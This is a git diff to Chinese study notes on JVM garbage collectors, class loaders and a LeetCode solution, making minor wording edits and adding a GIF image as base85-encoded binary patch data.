@@ -275,7 +276,7 @@ Serial 翻译为串行，也就是说它以串行的方式执行。
 
 它的优点是简单高效，对于单个 CPU 环境来说，由于没有线程交互的开销，因此拥有最高的单线程收集效率。
 
-它是 Client 模式下的默认新生代收集器，因为在该应用场景下内存一般来说不会很大。Serial 收集器收集几十兆甚至一两百兆的新生代停顿时间可以控制在一百多毫秒以内，只要不是太频繁，这点停顿是可以接受的。
+它是 Client 模式下的默认新生代收集器，因为在该应用场景下内存一般来说不会很大。它收集几十兆甚至一两百兆的新生代停顿时间可以控制在一百多毫秒以内，只要不是太频繁，这点停顿时间是可以接受的。
 
 ### 2. ParNew 收集器
 
@@ -285,8 +286,6 @@ Serial 翻译为串行，也就是说它以串行的方式执行。
 
 是 Server 模式下首选的新生代收集器，除了性能原因外，主要是因为除了 Serial 收集器，只有它能与 CMS 收集器配合工作。
 
-默认开启的线程数量与 CPU 数量相同，可以使用 -XX:ParallelGCThreads 参数来设置线程数。
-
 ### 3. Parallel Scavenge 收集器
 
 与 ParNew 一样是多线程收集器。
@@ -441,7 +440,7 @@ G1 把堆划分成多个大小相等的独立区域（Region），新生代和
 
 ## 类的生命周期
 
-<div align="center"> <img src="pics/32b8374a-e822-4720-af0b-c0f485095ea2.jpg" width=""/> </div><br>
+<div align="center"> <img src="pics/11548744140733.gif"/> </div><br>
 
 包括以下 7 个阶段：
 
@@ -583,7 +582,7 @@ System.out.println(ConstClass.HELLOWORLD);
 
 ## 类与类加载器
 
-两个类相等需要类本身相等，并且使用同一个类加载器进行加载。这是因为每一个类加载器都拥有一个独立的类名称空间。
+两个类相等，需要类本身相等，并且使用同一个类加载器进行加载。这是因为每一个类加载器都拥有一个独立的类名称空间。
 
 这里的相等，包括类的 Class 对象的 equals() 方法、isAssignableFrom() 方法、isInstance() 方法的返回结果为 true，也包括使用 instanceof 关键字做对象所属关系判定结果为 true。
 
@@ -591,9 +590,9 @@ System.out.println(ConstClass.HELLOWORLD);
 
 从 Java 虚拟机的角度来讲，只存在以下两种不同的类加载器：
 
-- 启动类加载器（Bootstrap ClassLoader），这个类加载器用 C++ 实现，是虚拟机自身的一部分；
+- 启动类加载器（Bootstrap ClassLoader），使用 C++ 实现，是虚拟机自身的一部分；
 
-- 所有其他类的加载器，这些类由 Java 实现，独立于虚拟机外部，并且全都继承自抽象类 java.lang.ClassLoader。
+- 所有其它类的加载器，使用 Java 实现，独立于虚拟机，继承自抽象类 java.lang.ClassLoader。
 
 从 Java 开发人员的角度看，类加载器可以划分得更细致一些：
 
@@ -607,13 +606,13 @@ System.out.println(ConstClass.HELLOWORLD);
 
 应用程序都是由三种类加载器相互配合进行加载的，如果有必要，还可以加入自己定义的类加载器。
 
-下图展示的类加载器之间的层次关系，称为类加载器的双亲委派模型（Parents Delegation Model）。该模型要求除了顶层的启动类加载器外，其余的类加载器都应有自己的父类加载器。这里类加载器之间的父子关系一般通过组合（Composition）关系来实现，而不是通过继承（Inheritance）的关系实现。
+下图展示的类加载器之间的层次关系，称为类加载器的双亲委派模型（Parents Delegation Model）。该模型要求除了顶层的启动类加载器外，其余的类加载器都要有自己的父类加载器。这里类加载器之间的父子关系一般通过组合（Composition）关系来实现，而不是通过继承（Inheritance）的关系实现。
 
 <div align="center"> <img src="pics/class_loader_hierarchy.png" width="600"/> </div><br>
 
 ### 1. 工作过程
 
-一个类加载器首先将类加载请求传送到父类加载器，只有当父类加载器无法完成类加载请求时才尝试加载。
+一个类加载器首先将类加载请求传送到父类加载器，只有当父类加载器无法完成类加载请求时才尝试自己加载。
 
 ### 2. 好处
 
diff --git a/docs/notes/Leetcode 题解.md b/docs/notes/Leetcode 题解.md
index 352dcbf3..5acc6093 100644
--- a/docs/notes/Leetcode 题解.md	
+++ b/docs/notes/Leetcode 题解.md	
@@ -5694,7 +5694,7 @@ Output: 5
 Explanation: The longest harmonious subsequence is [3,2,2,2,3].
 ```
 
-和谐序列中最大数和最小数只差正好为 1，应该注意的是序列的元素不一定是数组的连续元素。
+和谐序列中最大数和最小数之差正好为 1，应该注意的是序列的元素不一定是数组的连续元素。
 
 ```java
 public int findLHS(int[] nums) {
diff --git a/docs/notes/pics/11548741556940.gif b/docs/notes/pics/11548741556940.gif
new file mode 100644
index 0000000000000000000000000000000000000000..25571c544c53e0ebf113cc1d4d196392343edc50
GIT binary patch
literal 25600
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
